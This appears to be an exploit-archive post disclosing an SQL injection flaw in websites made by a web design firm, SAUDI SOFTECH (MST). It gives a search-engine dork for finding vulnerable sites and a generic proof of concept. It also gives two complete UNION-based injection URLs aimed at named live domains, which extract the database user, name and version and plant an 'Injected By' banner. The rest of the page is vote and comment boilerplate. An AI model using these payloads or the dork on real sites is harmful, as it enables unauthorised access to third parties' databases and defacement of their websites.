SAUDI SOFTECH (MST) SQLi

2019.04.24

ABDO10 (DZ)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: "php?id=" "Designed By: SAUDI SOFTECH (MST)"

# [+] Title  : SAUDI SOFTECH (MST) SQLi 
# [+] Author [Founder] : ABDO10
# [+] Date : April, 24th 2019
# [+] Dork : "php?id=" "Designed By: SAUDI SOFTECH (MST)"

# [+] Poc : 
  [target]/file.php?id=1[payload]

# [+] Alive E.g : 
  [+] http://alfainaq.com/page.php?id=-64%27UNION%20ALL%20SELECT%201,CONCAT_WS(CHAR(32,58,32),0x3c666f6e7420636f6c6f723d22726564223e496e6a6563746564204279204142444f31303c2f666f6e743e,0x557365723a,user(),0x44617461626173653a,database(),0x56657273696f6e3a,version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--+- 
  [+] http://www.mubkar.com/products.php?id=-25%27UNION%20ALL%20SELECT%201,2,CONCAT_WS(CHAR(32,58,32),0x3c666f6e7420636f6c6f723d22726564223e496e6a6563746564204279204142444f31303c2f666f6e743e,0x557365723a,user(),0x44617461626173653a,database(),0x56657273696f6e3a,version()),4,5,6,7,8--%20- (injected in title - use view source to get it)
  [+] 

# [+] Greetings (Lakarha_Family) 

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

SAUDI SOFTECH (MST) SQLi

Dork: "php?id=" "Designed By: SAUDI SOFTECH (MST)"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.